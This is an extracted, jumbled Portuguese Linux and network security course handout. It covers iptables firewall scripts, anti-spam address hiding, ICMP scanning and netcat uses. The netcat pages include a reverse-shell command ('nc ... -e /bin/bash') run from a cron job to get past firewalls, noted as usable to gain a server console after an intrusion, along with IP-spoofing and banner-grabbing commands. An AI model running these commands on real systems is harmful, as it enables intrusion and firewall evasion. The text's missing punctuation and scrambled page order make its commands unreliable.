podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 23: Curso de segurança em linux e redes em geral

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes 